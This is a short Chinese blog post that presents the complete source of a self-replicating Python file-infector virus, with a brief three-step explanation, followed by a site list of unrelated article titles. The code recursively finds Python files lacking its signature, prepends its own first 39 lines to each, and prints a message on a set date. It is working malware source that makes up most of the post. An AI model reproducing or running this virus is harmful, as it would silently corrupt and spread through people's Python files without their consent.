介绍

今天碰到一个有趣的python病毒,在这里https://github.com/cranklin/Python-Virus/blob/master/pythonvirus.py#L37

源码

分为3个部分

1、搜索,搜寻所有的python脚本

2、取出当前文件的前39行,也就是这个脚本的长度,然后将这个脚本写道所有找到的python脚本中去

3、其他行为

#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/"+fname):
filestoinfect.extend(search(path+"/"+fname))
elif fname[-3:] == ".py":
infected = False
for line in open(path+"/"+fname):
if SIGNATURE in line:
infected = True
break
if infected == False:
filestoinfect.append(path+"/"+fname)
return filestoinfect
def infect(filestoinfect):
virus = open(os.path.abspath(__file__))
virusstring = ""
for i,line in enumerate(virus):
if i>=0 and i <39:
virusstring += line
virus.close
for fname in filestoinfect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname,"w")
f.write(virusstring + temp)
f.close()
def bomb():
if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
print "HAPPY BIRTHDAY CRANKLIN!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()

最新文章

  1. POST方式提交表单时,后台接受实体如果继承了父类,将无法映射表单对应数据
  2. 非本地跳转之setjmp与longjmp
  3. Java数据库——连接关闭、增删改查
  4. PHP 递归创建目录
  5. linux禁ping和允许ping的方法
  6. Eclipse添加和查看书签
  7. Xcode8注释有时会失效的解决方法
  8. iOS Learning
  9. vue2.0---vue-router总结(项目基于vue-cli)
  10. hibernate自定义校验Valid
  11. Hadoop之搭建完全分布式运行模式
  12. Jenkins+PowerShell持续集成环境搭建(七)构建触发器
  13. 常见的爬虫分析库(4)-爬虫之PyQuery
  14. Oracle date-time
  15. meat标签
  16. CentOS7.4安装和配置zabbix4.0
  17. Java语法基础学习DayFifteen(IO续)
  18. 一劳永逸的搞定 FLEX 布局(转)
  19. Quartz 与 Spring集成
  20. 数据库——SQL中EXISTS怎么用1(转)

热门文章

  1. 2 - Rich feature hierarchies for accurate object detection and semantic segmentation(阅读翻译)
  2. Java终止线程的三种方式
  3. Linux设备驱动程序 之 异步通知
  4. Beta冲刺(1/4)
  5. echart itemStyle属性设置
  6. P4124 [CQOI2016]手机号码
  7. 301跳转与URL转发有什么区别
  8. Selenium 2自动化测试实战34(编写Web测试用例)
  9. [CDH] Redis: Remote Dictionary Server
  10. vagrant虚拟机共享目录在windows宿主下的禁忌